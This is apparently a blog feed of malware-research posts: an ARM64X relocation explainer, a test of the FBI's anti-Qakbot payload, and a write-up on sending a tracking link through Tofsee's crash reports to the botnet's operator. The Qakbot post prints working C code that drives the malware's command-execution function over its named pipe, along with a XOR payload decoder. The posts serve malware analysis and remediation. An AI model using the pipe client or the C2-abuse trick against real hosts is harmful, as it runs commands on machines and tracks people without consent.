<p>Once the DLL is compiled, it can be loaded from a 64-bit process, and it runs correctly. Similarly, vice versa is also possible; loading this ARM64X binary, which consists of both native ARM code and ARM64EC code, can be done from a native ARM binary.</p>
<p>And how exactly is that happens ? Dynamic Value Relocation Table ( DVRT) behind the scene makes it possible </p>
<h2 id="dynamic-value-relocation-table-dvrt_2">Dynamic Value Relocation Table ( DVRT) <a class="head_anchor" href="#dynamic-value-relocation-table-dvrt_2">#</a>
</h2>
<p>If we load an ARM64X DLL from a native 64-bit binary, normally, this should not be allowed as the <code class="prettyprint">_IMAGE_FILE_HEADER.Machine</code> would be a mismatch between x64 and ARM64X. x64 would only allow loading of similar <code class="prettyprint">_IMAGE_FILE_HEADER.Machine</code> type binaries only. However, as we observe after loading is complete, the <code class="prettyprint">_IMAGE_FILE_HEADER.Machine</code> appears to be set correctly to <code class="prettyprint">IMAGE_FILE_MACHINE_AMD64</code>, while on disk it is still (AA64) ARM64X.</p>
<p>Let’s observe this phenomenon firsthand.</p>
<pre><code class="prettyprint">const char* GetMachineTypeName(WORD machine) {
switch (machine) {
case IMAGE_FILE_MACHINE_AMD64:
return "x64";
case IMAGE_FILE_MACHINE_ARM:
return "ARM";
case IMAGE_FILE_MACHINE_ARM64:
return "ARM64";
case IMAGE_FILE_MACHINE_IA64:
return "IA-64";
case IMAGE_FILE_MACHINE_I386:
return "x86";
default:
return "Unknown";
}
}
int GetMachineType(HMODULE hModule) {
// Get the DOS header
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
// Check if it's a valid PE file
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Not a valid PE file.\n");
FreeLibrary(hModule);
return 0;
}
// Get the NT header
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
// Check if it's a 64-bit PE file
if (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
printf("Not a 64-bit PE file.\n");
FreeLibrary(hModule);
return 0;
}
// Get the machine type
WORD machine = ntHeader->FileHeader.Machine;
return machine;
}
int main(int agrc, char **argv)
{
HMODULE hDLL = LoadLibrary("load.dll");
int (*hello)(int) = (int (__cdecl *)(int)) GetProcAddress(hDLL, "hello");
printf("Machine type = %s", GetMachineTypeName(GetMachineType(hDLL)));
return 0;
}
</code></pre>
<p>compile the above code in both X64 and ARM64 native . </p>
<p>for the X64 binary we get the following result </p>
<p><code class="prettyprint">Machine type = x64</code></p>
<p>and for ARM native </p>
<p><code class="prettyprint">Machine type = ARM64</code></p>
<p><a href="https://svbtleusercontent.com/mxpMc22UBGPFXCxEVTdpaE0xspap.png"><img src="https://svbtleusercontent.com/mxpMc22UBGPFXCxEVTdpaE0xspap_small.png" alt="machinetype.png"></a></p>
<p>The reason for this dynamic change is the presence of the Dynamic Value Relocation Table (DVRT) in the binary. The Dynamic Value Relocation Table is similar to a relocation table but in a metadata format. It can be obtained via the load config table of the PE file.</p>
<p>It consists of a plethora of information related to DVRT. Using the dumpbin tool, we can dump the contents of DVRT if present in a binary.</p>
<p><a href="https://svbtleusercontent.com/kZicoewFf6oG7DZfHXa6KX0xspap.png"><img src="https://svbtleusercontent.com/kZicoewFf6oG7DZfHXa6KX0xspap_small.png" alt="DVRT.png"></a></p>
<p>DVRT was can be used to mitigate Spectre CPU vulnerabilities using insertion of retpoline in the binary . </p>
<p>DVRT has the following format in the memory </p>
<pre><code class="prettyprint">typedef struct _IMAGE_DYNAMIC_RELOCATION_TABLE {
DWORD Version;
DWORD Size;
// IMAGE_DYNAMIC_RELOCATION DynamicRelocations[0];
} IMAGE_DYNAMIC_RELOCATION_TABLE,
</code></pre>
<p>With ARM64X, Microsoft introduced a new symbol type, namely type 6, which is for the <code class="prettyprint">IMAGE_DYNAMIC_RELOCATION_ARM64X</code>. The rest is defined for retpoline mitigation types.</p>
<pre><code class="prettyprint">#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_PROLOGUE 1
#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_EPILOGUE 2
#define IMAGE_DYNAMIC_RELOCATION_GUARD_IMPORT_CONTROL_TRANSFER 3
#define IMAGE_DYNAMIC_RELOCATION_GUARD_INDIR_CONTROL_TRANSFER 4
#define IMAGE_DYNAMIC_RELOCATION_GUARD_SWITCHTABLE_BRANCH 5
#define IMAGE_DYNAMIC_RELOCATION_ARM64X 6
</code></pre>
<p>Simply put, the fixup will be replaced by the loader with the data provided in the DVRT table to make the loading conducive with the interoperability of x64 binary. This includes, but is not limited to, changing the machine type, imports, function exports, and exception pointers.</p>
<table>
<thead>
<tr>
<th>Address</th>
<th>Page</th>
<th>RVA</th>
<th>Bytes</th>
<th>Target Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>00000000</td>
<td>00000104</td>
<td>2</td>
<td>8664</td>
</tr>
<tr>
<td>00000001</td>
<td>00000000</td>
<td>00000128</td>
<td>4</td>
<td>5010</td>
</tr>
<tr>
<td>00000002</td>
<td>00000000</td>
<td>00000188</td>
<td>4</td>
<td>7DE0</td>
</tr>
</tbody>
</table>
<p>Consider for example the very first entry <br>
In page 0x00000000, offset 0x104, two bytes need to be replaced with the value 0x8664, which happens to be the <code class="prettyprint">Machine</code> type for <code class="prettyprint">IMAGE_FILE_MACHINE_AMD64</code>. So, if the process is loaded by an x64 binary, this transformation will take place, as observed in the example above.</p>
<p><a href="https://svbtleusercontent.com/k2AUKgisEeNdWqAqfgwNBd0xspap.png"><img src="https://svbtleusercontent.com/k2AUKgisEeNdWqAqfgwNBd0xspap_small.png" alt="Machine.png"></a></p>
<p>Similarly, there is the second one, which is at offset 0x128, representing <code class="prettyprint">AddressOfEntryPoint</code>. It is supposed to be replaced with 0x5010 if loaded, i.e., <code class="prettyprint">DLLMain</code> or <code class="prettyprint">_DllMainCRTStartup</code> in the case of a DLL. So, ARM64 would have a different version of <code class="prettyprint">_DllMainCRTStartup</code>, and for ARM64EC, the code would be different, basically a Fast-Forward Sequence (FFS) Thunk/Sequence that points towards the ARM64’s <code class="prettyprint">_DllMainCRTStartup</code>.</p>
<p><code class="prettyprint">[00000006] page 00000000 rva 000001D8, 4 bytes, target value 7200</code></p>
<p>This is for the LoadConfig Value Directory inside the PE header. It is also different for x64, as it consists of a plethora of information regarding stuff which is peculiar to the particular architecture, such as security cookie, exception table, debug info, etc.</p>
<p>This pretty much explains the technology behind the Windows ARM emulation for x64/x86 binaries. In the context of malware, mostly we will be dealing with x86 binaries, as most of the malware binaries are compiled in x86, and some happen to be in x64.</p>
<p>In the next part of the blog, we will be testing some of the malware on Windows 11 ARM. Also, some of the manual tests will be performed based on the common tricks and techniques used commonly by modern Windows malware. So stay tuned!</p>
tag:int0xcc.svbtle.com,2014:Post/operation-duckhunt-testing-the-fbi-s-anti-qakbot-missile-test2023-09-04T03:51:30-07:002023-09-04T03:51:30-07:00Operation Duckhunt : Field Testing the FBI's Anti-Qakbot Payload <p><a href="https://svbtleusercontent.com/maz7m2pxFryppd4MbbRb130xspap.png"><img src="https://svbtleusercontent.com/maz7m2pxFryppd4MbbRb130xspap_small.png" alt="Screen Shot 2023-09-04 at 3.34.14 PM.png"></a></p>
<p>In a significant development, the FBI declared today that the Qakbot botnet has been successfully dismantled through a collaborative international law enforcement effort. This operation not only involved the confiscation of the botnet’s infrastructure, but it also involved the removal of the malware from compromised devices or not necessarily ?</p>
<p>Summary </p>
<ul>
<li><p><strong>FBI’s payload only terminated the payload from the memory.</strong></p></li>
<li><p><strong>Some earlier versions didn’t have the <code class="prettyprint">CMD_0x04</code> implemented, so some of the infections would still be alive. To tackle this problem, FBI could have used <code class="prettyprint">Cmd18_UpdateQakbotBinary</code> to uninstall the binary from the infected machine.</strong></p></li>
<li><p><strong>As some of the infections would still be alive (due to many reasons), I have released a remediation tool <a href="https://github.com/raashidbhatt/Anti-Qakbot/tree/main">Anti-Qakbot<br>
</a> to detect and kill the QakBot process on an infected system.</strong></p></li>
</ul>
<h1 id="what-did-fbi-actually-deliver_1">What did FBI actually deliver <a class="head_anchor" href="#what-did-fbi-actually-deliver_1">#</a>
</h1>
<p>After gaining access to top-tier control servers, there had to be a way to shut down the processes. For that, the FBI used a clinical approach instead of uploading a payload that ‘hacks’ its way around the same.<br>
Essentially, most malwares are modular . The following diagram explains it well. This gives enough flexibility to the malware author to extend the functionality.</p>
<p><a href="https://svbtleusercontent.com/nL7NjtdUTJ7jYtBvwxPLfS0xspap.png"><img src="https://svbtleusercontent.com/nL7NjtdUTJ7jYtBvwxPLfS0xspap_small.png" alt="Screen Shot 2023-08-31 at 11.59.58 PM.png"></a></p>
<p>After gaining access, the FBI supplied a DLL payload wrapped inside a shellcode. This payload runs within the malicious process itself and calls a named pipe, which the malware uses for interprocess communication (IPC) to make API calls and pass data, something exactly similar I have described in a technical breakdown of Tofsee Malware IPC exit packet <a href="https://www.spamhaus.com/resource-center/neutralizing-tofsee-spambot-part-1-binary-file-vaccine/">Neutralizing Tofsee Spambot – Part 1</a>.</p>
<p>For QakBot the IPC name is of the format <br>
<code class="prettyprint">{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}</code> .</p>
<blockquote class="short">
<p>This GUID is almost unique for each infection as it is formed by different parameters like computername , hwid etc .</p>
</blockquote>
<p>The IPC request for QakBot is simply defined as </p>
<p><a href="https://svbtleusercontent.com/d954XhqFCPExK47JjV7uq60xspap.png"><img src="https://svbtleusercontent.com/d954XhqFCPExK47JjV7uq60xspap_small.png" alt="carbon.png"></a></p>
<p><code class="prettyprint">_QakBotIPCRequest</code>, is used for communication within a system. It includes two short integers, OperationID and ArgLen, followed by a byte array named Headers. ArgLen determines the size of the Headers array, which contains tokenized data in a specific format. This data includes a ‘COMMANDID’ token for the execution of certain functions based on an index and additional parameters to the function, separated by spaces.</p>
<p>Newer QakBot versions implement seven different types of command types using <code class="prettyprint">OperationID</code>. If <code class="prettyprint">COMMANDID</code> is set to 1, the sub ID is taken from the Function Data, which itself exposes a list of API functions implemented by QakBot. The <code class="prettyprint">cmdHandler</code> is then defined as follows:</p>
<p><a href="https://svbtleusercontent.com/6foM5rp9LSo5uLSQbemW6t0xspap.png"><img src="https://svbtleusercontent.com/6foM5rp9LSo5uLSQbemW6t0xspap_small.png" alt="carbon (3).png"></a></p>
<table>
<thead>
<tr>
<th>Cmd Number</th>
<th>noThreadExec</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>false</td>
<td>Cmd1_ConfSetUp</td>
</tr>
<tr>
<td>3</td>
<td>true</td>
<td>Cmd3_nullFn</td>
</tr>
<tr>
<td>4</td>
<td>true</td>
<td>Cmd4_nullf</td>
</tr>
<tr>
<td>5</td>
<td>false</td>
<td>Cmd5_StealCerts</td>
</tr>
<tr>
<td>6</td>
<td>true</td>
<td>Cmd6_EnableWebInjects</td>
</tr>
<tr>
<td>7</td>
<td>true</td>
<td>Cmd7_EnableWebInjects_0</td>
</tr>
<tr>
<td>8</td>
<td>true</td>
<td>Cmd8_InstallJSAutoUpdater</td>
</tr>
<tr>
<td>0Ah</td>
<td>true</td>
<td>Cmd10_TerminateProcessByName</td>
</tr>
<tr>
<td>0Ch</td>
<td>true</td>
<td>Cmd12_ActivateProxy</td>
</tr>
<tr>
<td>0Dh</td>
<td>false</td>
<td>Cmd13_SmbSpreader</td>
</tr>
<tr>
<td>0Eh</td>
<td>true</td>
<td>Cmd12_RebootQakBot</td>
</tr>
<tr>
<td>12h</td>
<td>true</td>
<td>Cmd18_Uninstall</td>
</tr>
<tr>
<td>13h</td>
<td>true</td>
<td>Cmd19_UpdateQakbotBinary</td>
</tr>
<tr>
<td>14h</td>
<td>true</td>
<td>Cmd20_RetrieveWebinjects</td>
</tr>
<tr>
<td>15h</td>
<td>false</td>
<td>Cmd21_UploadLogs</td>
</tr>
<tr>
<td>16h</td>
<td>true</td>
<td>Cmd22_Updatevar</td>
</tr>
<tr>
<td>17h</td>
<td>true</td>
<td>Cmd23_nullFn</td>
</tr>
<tr>
<td>19h</td>
<td>true</td>
<td>Cmd25_LoadProxy</td>
</tr>
<tr>
<td>1Ah</td>
<td>true</td>
<td>Cmd26_LoadWebinjects</td>
</tr>
<tr>
<td>1Bh</td>
<td>true</td>
<td>Cmd27_LoadUnknownModule</td>
</tr>
<tr>
<td>1Ch</td>
<td>true</td>
<td>Cmd27_LoadUnknownModule_0</td>
</tr>
<tr>
<td>1Dh</td>
<td>true</td>
<td>Cmd27_LoadUnknownModule_1</td>
</tr>
<tr>
<td>23h</td>
<td>true</td>
<td>Cmd35_LoadVNC</td>
</tr>
<tr>
<td>1Eh</td>
<td>true</td>
<td>Cmd27_LoadUnknownModule_2</td>
</tr>
<tr>
<td>1Fh</td>
<td>true</td>
<td>Cmd27_LoadUnknownModule_3</td>
</tr>
<tr>
<td>21h</td>
<td>true</td>
<td>Cmd33_ExecuteCommandLine</td>
</tr>
<tr>
<td>22h</td>
<td>true</td>
<td>Cmd34_InjectExplorer</td>
</tr>
</tbody>
</table>
<p>“As a test, let’s try to implement an IPC call that invokes command number <code class="prettyprint">0x12 (33) Cmd33_ExecuteCommandLine</code>. This function is self-explanatory and doesn’t require reverse engineering. It will execute a command on the infected system. For this experiment, we will use the classic ‘calc.exe’ for demonstration.”</p>
<pre><code class="prettyprint lang-c++">#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
int main(int argc, char **argv) {
// replace with your pipe name
const char* pipeName = "\\\\.\\pipe\\{pipename}";
// Prepare the data to send
struct _QakBotIPCRequest
{
short OperationID;
short Undef1[3];
char FuncData[0x100];
}QakIPC = { 1,0,0,0,0 };
DWORD bytesRead;
sprintf(QakIPC.FuncData, "%s %s", argv[1], argv[2]);
// Call Named Pipe
BOOL success = CallNamedPipeA(
pipeName,
(LPVOID)&QakIPC,
sizeof(QakIPC),
NULL,
0,
&bytesRead,
NMPWAIT_WAIT_FOREVER
);
if (success) {
printf("Pipe Data sent ");
}
else {
printf("PIPE error []");
return 1;
}
return 0;
}
</code></pre>
<p>If we pass CMD 33 and the cmd.exe parameter to it, it seamlessly executes the Windows Calculator.</p>
<p><a href="https://svbtleusercontent.com/u8dC39sreuZGmSd1RqDSx90xspap.png"><img src="https://svbtleusercontent.com/u8dC39sreuZGmSd1RqDSx90xspap_small.png" alt="Screen Shot 2023-09-02 at 4.25.28 PM.png"></a></p>
<p>FBI implemented the terminator payload using main call ID number 4 , which was present in the newer updated versions of QakBot ( dont know much about the number of QakBot versions , if someone knows please do let me know ) .<br>
<a href="https://svbtleusercontent.com/mFGFBkWgFKooyASVshtoWr0xspap.png"><img src="https://svbtleusercontent.com/mFGFBkWgFKooyASVshtoWr0xspap_small.png" alt="Screen Shot 2023-09-02 at 8.01.36 PM.png"></a></p>
<p>the data packet they used was </p>
<pre><code class="prettyprint lang-c">short OperationID = 0x30004;
</code></pre>
<p>Op ID is 0x04; however, the rest was not necessary.</p>
<p>Let’s test the FBI’s missiles in a live environment to check their effectiveness. In order to do that, the FBI payload was supplied as a shellcode, which eventually decodes into a DLL. This shellcode loader includes a fully-fledged DLL reflective loader in it; however, we are only interested in extracting the DLL.</p>
<p>Extraction is rather simple, and roughly this is how it is represented in Python with XorSalt as <strong><code class="prettyprint">165AB0219D76757208FD8319357D4DF0</code></strong>.</p>
<pre><code class="prettyprint lang-python"> def DecodeDLL(cls,buffer, XorSalt):
dst = array.array("B")
for i in range(0, len(buffer)):
ox = ord(buffer[i]) ^ ord(XorSalt[i & 0xf])
ox = ox - (i & 0x0f)
if ox < 0:
ox = -ox
dst.append(ox)
return dst.tostring()
</code></pre>
<p>Output file is a dll file and need to be converted into an exe to run ( sure there are other ways around ) </p>
<p><a href="https://svbtleusercontent.com/iemqrLnE5AVVMcjQFt57D90xspap.png"><img src="https://svbtleusercontent.com/iemqrLnE5AVVMcjQFt57D90xspap_small.png" alt="Screen Shot 2023-09-02 at 10.55.59 PM.png"></a></p>
<p>for this purpose , we will use the <a href="https://github.com/hasherezade/dll_to_exe">DLL2EXE</a> by <a href="https://twitter.com/hasherezade">hasherezade</a> </p>
<pre><code class="prettyprint lang-bash">C:\Users\Administrator\Desktop>dll_to_exe.exe fbi.dll FBI.exe
</code></pre>
<p>after successfully converting dll to exe , lets try to test it on a live QakBot infection and see how effectively it kills the malware . </p>
<p>Checking for the presence of <code class="prettyprint">wermgr.exe</code> process</p>
<p><a href="https://svbtleusercontent.com/3aSZCs5GnWJXRJ6qbd4aQ20xspap.png"><img src="https://svbtleusercontent.com/3aSZCs5GnWJXRJ6qbd4aQ20xspap_small.png" alt="Screen Shot 2023-09-03 at 2.36.28 PM.png"></a></p>
<p>To make it easier , I have converted the exe into a GUI application that lets you easily remediate the QakBot Infection if it is still running on your infected PC . </p>
<p><a href="https://svbtleusercontent.com/gRYcYjRKYLYwX9SbPEMhN20xspap.png"><img src="https://svbtleusercontent.com/gRYcYjRKYLYwX9SbPEMhN20xspap_small.png" alt="Screen Shot 2023-09-04 at 2.04.20 PM.png"></a></p>
<p>Download the <a href="https://github.com/raashidbhatt/Anti-Qakbot/tree/main">Anti-Qakbot</a> executable from GitHub</p>
<h1 id="the-mysterious-cmd18_1">The Mysterious Cmd18 <a class="head_anchor" href="#the-mysterious-cmd18_1">#</a>
</h1>
<p>Some earlier versions of QakBot implemented an IPC call for command 18, which actually removes the scheduled task persistence mechanism as well. Why the FBI didn’t go this way to kill the earlier versions, who knows?“</p>
<p><a href="https://svbtleusercontent.com/aBEb1sG8LbX9AbwWbasTR50xspap.png"><img src="https://svbtleusercontent.com/aBEb1sG8LbX9AbwWbasTR50xspap_small.png" alt="Screen Shot 2023-09-04 at 3.27.23 PM.png"></a></p>
<p><a href="https://svbtleusercontent.com/3fDKh7BQCTmjfpqutkx46A0xspap.png"><img src="https://svbtleusercontent.com/3fDKh7BQCTmjfpqutkx46A0xspap_small.png" alt="Screen Shot 2023-09-04 at 3.22.28 PM.png"></a></p>
tag:int0xcc.svbtle.com,2014:Post/How-I-Contacted-Russian-Hackers-Via-Telegram2023-08-28T12:31:00-07:002023-08-28T12:31:00-07:00How I Contacted Russian Hackers Via Telegram <h1 id="furthermore-tracing-their-geographic-coordina_1">Furthermore, Tracing Their Geographic Coordinates <a class="head_anchor" href="#furthermore-tracing-their-geographic-coordina_1">#</a>
</h1>
<p><a href="https://svbtleusercontent.com/rGQutsSUAkMVFhTYzp3cw30xspap.png"><img src="https://svbtleusercontent.com/rGQutsSUAkMVFhTYzp3cw30xspap_small.png" alt="Screen Shot 2023-08-25 at 8.13.07 PM.png"></a></p>
<p>Introducing Botgram, the epitome of innovation in the world of international diplomacy! Because who needs secure channels and established communication protocols when you can have a Windows app to send your messages across the Kremlin? Move over, traditional methods of discreet communication, because Botgram is here to revolutionize the way political intrigue and sensitive information are handled.<br>
<a href="https://svbtleusercontent.com/uh4StSsPPdw3opnESFib6S0xspap.gif"><img src="https://svbtleusercontent.com/uh4StSsPPdw3opnESFib6S0xspap_small.gif" alt="Recording 2023-08-28 234543 (2).gif"></a></p>
<p>Oh, as if mere chatting with our buddies wasn’t enough entertainment! We’ve taken it upon ourselves to become the ultimate surveillance overlords using the mystical powers of <a href="https://canarytokens.org/">Thinkst Canary tokens</a> . Why settle for casual conversation when you can become Sherlock Holmes on steroids, tracking our pals and their epic journey back home post a wild vodka weekend at the local dive?</p>
<p><a href="https://svbtleusercontent.com/jQcEtSsdBGempHxXqQwk5V0xspap.png"><img src="https://svbtleusercontent.com/jQcEtSsdBGempHxXqQwk5V0xspap_small.png" alt="Screen Shot 2023-08-28 at 2.00.44 PM.png"></a></p>
<h6 id="i-am-not-releasing-the-code-or-binary-for-bot_6">I am not releasing the code or binary for Botgram because it contains vital information about the inner workings of the trojan. If I were to do so, it would likely lead to malware authors upgrading their codebase, rendering security tools ineffective, and thus jeopardizing many innocent users to infection. However, if you want the tool, you can direct message me on Twitter. If the request comes from a trusted party, I would be more inclined to share it. <a class="head_anchor" href="#i-am-not-releasing-the-code-or-binary-for-bot_6">#</a>
</h6><h2 id="technical-details_2">Technical Details <a class="head_anchor" href="#technical-details_2">#</a>
</h2>
<p>The attribution of malware authors is a challenge that cybersecurity experts navigate with painstaking precision. Unmasking the individuals or groups behind malicious code involves a complex blend of digital forensics, behavioral analysis, and geopolitical awareness.</p>
<p>Malware authors adeptly cloak themselves within intricate networks, evading conventional detection methods and perpetually eluding the grasp of those seeking to trace their elusive digital footprints. Often times it requires way more technical mastery to track them via attribution , code similarity and threat intelligence .</p>
<p>We can think of attack surface discovery in this case; essentially, this is not a defensive method. Uncovering the attacker itself is an offense.</p>
<p>In this realm of attack surface, we need a way to:</p>
<ul>
<li>Find areas in the binary code where data is uploaded to the C2 server.</li>
<li>This data must be critical and must force the malware author to examine it.</li>
</ul>
<p>An interesting code I observed while reversing the Tofsee botnet is where it registers an exception handler using <code class="prettyprint">SetUnhandledExceptionFilter()</code>. By using the <code class="prettyprint">SetUnhandledExceptionFilter</code> function, malware developers can provide their own custom exception handler function, which will be called when an unhandled exception occurs – essentially a crash. Let’s try to see how the data for the crash is collected.</p>
<p><a href="https://svbtleusercontent.com/sNBT3436YAW5rAc3nnoToU0xspap.png"><img src="https://svbtleusercontent.com/sNBT3436YAW5rAc3nnoToU0xspap_small.png" alt="carbon (2).png"></a></p>
<p>A plethora of information regarding the crash is collected here. Information is segregated with a key-value pair. Reversing the above-mentioned code gives a clear understanding of each parameter and its subsequent meaning.</p>
<hr>
<p><a href="https://svbtleusercontent.com/b2fT2jD5xvbRCXTRoe5yhv0xspap.png"><img src="https://svbtleusercontent.com/b2fT2jD5xvbRCXTRoe5yhv0xspap_small.png" alt="Screen Shot 2023-08-25 at 11.49.05 PM.png"></a></p>
<p>This packet is stored in Inmemory Config DB of tofsee and is defined in the memory as </p>
<p><a href="https://svbtleusercontent.com/2Qu6G7wTkPAR7NJ3Gv1ksX0xspap.png"><img src="https://svbtleusercontent.com/2Qu6G7wTkPAR7NJ3Gv1ksX0xspap_small.png" alt="carbon (9).png"></a></p>
<p>This data is stored in <code class="prettyprint">localcfg</code> config store with a name <code class="prettyprint">except_info</code></p>
<p><a href="https://svbtleusercontent.com/jCVY6L7Qto74Y4EYShLvHk0xspap.png"><img src="https://svbtleusercontent.com/jCVY6L7Qto74Y4EYShLvHk0xspap_small.png" alt="Screen Shot 2023-08-17 at 8.14.09 PM.png"></a></p>
<p>And while cross-referencing this name, if it happens to be used at one more location in the binary, perhaps in the place where the crash data is uploaded back to the botnet C2.</p>
<p><a href="https://svbtleusercontent.com/3nyYtrusuwL6xoh3xcnrtF0xspap.png"><img src="https://svbtleusercontent.com/3nyYtrusuwL6xoh3xcnrtF0xspap_small.png" alt="Screen Shot 2023-08-17 at 9.02.50 PM.png"></a></p>
<p>Explaining the custom Tofsee protocol would be quite lengthy for this blog; therefore, we’ll focus solely on the relevant information. The information request packet received from the C2 back to the infected host is referred to as the <code class="prettyprint">OP1_REQUEST</code>. It’s identified by operation number 1.</p>
<p><code class="prettyprint">OP1</code> is a request from the C2 to gather information either from the main loader or any plugin. This is determined by <code class="prettyprint">MainMod_opTypeMask</code> or <code class="prettyprint">Plugin_opTypeMask</code>.</p>
<pre><code class="prettyprint lang-c,">struct InfoRequest_op4
{
int MainMod_opTypeMask;
int Plugin_opTypeMask;
int UK[3];
};
</code></pre>
<p>Looking at the binary, we immediately notice that <code class="prettyprint">MainMod_opTypeMask</code> is compared against various binary masks. Each of these masks represents a request for information that the botnet initiates. The full list of <code class="prettyprint">MainMod_opTypeMask</code> includes the following request types:</p>
<ul>
<li>0x01 – <strong><em>plugin metadata</em></strong>
</li>
<li>0x04 – <strong><em>Send circular Config</em></strong><br>
</li>
<li>0x40 – <strong><em>Send Debug log</em></strong> </li>
<li>0x80 – <strong><em>Send ver=%d lid=%d.win=%X/%d sid=%s.rep=%s</em></strong>
</li>
<li>0x100 – <strong><em>Send Exception info ( crash info )</em></strong>
</li>
<li>0x400 – <strong><em>Send Binary file Info</em></strong><br>
</li>
</ul>
<p><a href="https://svbtleusercontent.com/m9ZShDPCZgktYZ6hxcK9yw0xspap.png"><img src="https://svbtleusercontent.com/m9ZShDPCZgktYZ6hxcK9yw0xspap_small.png" alt="carbon (5).png"></a></p>
<ul>
<li>
<strong>0x100</strong> - <em>Send Exception info (crash info)</em>: This request type stands out distinctly. To reach this specific code branch, the 9th bit of <code class="prettyprint">MainMod_opTypeMask</code> must be set based on the request received from the C2 server.</li>
</ul>
<p><a href="https://svbtleusercontent.com/fd9nd5s8nQh39sqfj95ku90xspap.png"><img src="https://svbtleusercontent.com/fd9nd5s8nQh39sqfj95ku90xspap_small.png" alt="Screen Shot 2023-08-17 at 10.05.36 PM.png"></a></p>
<p>So, if the 9th bit is set as <code class="prettyprint">0b100000000</code>, then we proceed to construct a packet. This packet is then encrypted using the Tofsee algorithm and subsequently sent back to the C2 server. The packet follows the structure outlined below, ensuring that the message is successfully transmitted:<br>
<a href="https://svbtleusercontent.com/hVTL3jmWVK6TrS644JRioz0xspap.png"><img src="https://svbtleusercontent.com/hVTL3jmWVK6TrS644JRioz0xspap_small.png" alt="carbon (6).png"></a></p>
<p>Instead of sending a text message, we can include a link in the message. This link would be displayed in the web console of the bot owner. The bot owner might click on it – in my case, the bot owner actually did click on it. The service I used was CanaryTokens, which generates a unique link. If this link is visited, it sends a notification via email, including metadata about the person who clicked on the link, such as their IP address, location, user agent, etc.</p>
<p><a href="https://svbtleusercontent.com/gfyr3dJxZLdESHhFH9JiVM0xspap.png"><img src="https://svbtleusercontent.com/gfyr3dJxZLdESHhFH9JiVM0xspap_small.png" alt="Screen Shot 2023-08-29 at 12.35.45 AM.png"></a></p>
tag:int0xcc.svbtle.com,2014:Post/relocating-baseaddress-agnostic-memory-dumps2019-11-26T06:38:59-08:002019-11-26T06:38:59-08:00 Relocating BaseAddress Agnostic Memory Dumps
<p>Often times we need a loaded base address of a memory image that needs to be disk realigned in order to load it and parse the binary successfully in binary analysis tools like IDA or debuggers . </p>
<p>During linking phase the <code class="prettyprint">Preferred Base Address</code> is selected and all absolute addresses are set relative to this particular address . </p>
<p>Relocation table for a PE file consists of following fields </p>
<pre><code class="prettyprint">typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
</code></pre>
<p>The <code class="prettyprint">VirtualAddress</code> consists virtual offset to a 4kb page where relocations are applied to that page , <code class="prettyprint">sizeofblock</code> is size of 2 byte array consists of offsets to relocation targets in the same page . Base relocation can have multiple relocation entries . </p>
<p><a href="https://svbtleusercontent.com/xtvZ4SfX5TBGyQjT7RUMZh0xspap.png"><img src="https://svbtleusercontent.com/xtvZ4SfX5TBGyQjT7RUMZh0xspap_small.png" alt="pasted-image-10.png"></a></p>
<p>During the image loading process , if the <code class="prettyprint">LoadedBase</code> address is different from preferred base address ( most cases, if ASLR is enabled ) , binary relocation must be done . Following steps are needed to take place to successfully relocate an image loaded in memory . </p>
<ul>
<li><p>Retrieve the new loaded image base </p></li>
<li><p>Calculate the <code class="prettyprint">Relocation Delta </code></p></li>
</ul>
<p><a href="https://svbtleusercontent.com/6uwyFgn9aPaMA64BAXe7nk0xspap.png"><img src="https://svbtleusercontent.com/6uwyFgn9aPaMA64BAXe7nk0xspap_small.png" alt="pasted-image-12.png"></a></p>
<ul>
<li>Enumerate all relocation pages and apply fix-ups <br>
<a href="https://svbtleusercontent.com/f7CCmrnVLY9bBcKoWEantu0xspap.png"><img src="https://svbtleusercontent.com/f7CCmrnVLY9bBcKoWEantu0xspap_small.png" alt="pasted-image-14.png"></a>
</li>
</ul>
<p>And thus the binary is relocated, as per the new image address with proper fix-ups processed <br>
And the single most important ingredient required was the <code class="prettyprint">Loaded image base</code> .</p>
<p>But there is a catch in all of this ! Let us suppose that we are given a memory dump , but <b>without</b> a known <code class="prettyprint">LoadedBase</code> address . In that case the conundrum is to relocate the base image but without a delta </p>
<p><i>Can we correctly predict the base address in this kind of scenario? </i></p>
<p>Actually , we can! The information presented by <code class="prettyprint">_IMAGE_BASE_RELOCATION</code> and multiple values at page offsets do allow us for some kind of side channel attack to predict the <code class="prettyprint">LoadedBase</code> address correctly </p>
<p>The way to do this is to first determine the <code class="prettyprint">offset</code> or <code class="prettyprint">RVA</code><code class="prettyprint">of a</code><code class="prettyprint">value at fixup</code><code class="prettyprint">from an offset and a</code><code class="prettyprint">fixup</code>` where the page difference is less than 4KB ( Page Size ) </p>
<p>This diagram illustrates this idea</p>
<p><a href="https://svbtleusercontent.com/gvRCL5fpezc8kWvQ5X2QFK0xspap.png"><img src="https://svbtleusercontent.com/gvRCL5fpezc8kWvQ5X2QFK0xspap_small.png" alt="pasted-image-16.png"></a></p>
<p>It involves the following steps </p>
<ul>
<li> Enumerate all values at <code class="prettyprint">fix-ups</code> and select the smallest of it ( nearest to base address ) </li>
<li> Enumerate all relocation table RVA’s and calculate a mask to strip the bits equal to the bits of RVA </li>
<li>Subtract the two values , and if the difference is less than 4096 ( Page size) the value of offset is probably present in the same page . </li>
<li> Calculate the distance from base by subtracting <code class="prettyprint">fixup</code> , <code class="prettyprint">offset from page base</code> , and <code class="prettyprint">RVA</code> from the relocation base all together. </li>
</ul>
<p>This all can be implemented by a python script , script given below takes a memory dump image ( file system aligned ) without the loaded base and determines the base address and performs the <code class="prettyprint">fixups</code></p>
<pre><code class="prettyprint">import pefile
import struct
import sys
import argparse
def Realign():
parser = argparse.ArgumentParser(description='Image Relocater ( without the known Imagebase ) (C) Raashid Bhat')
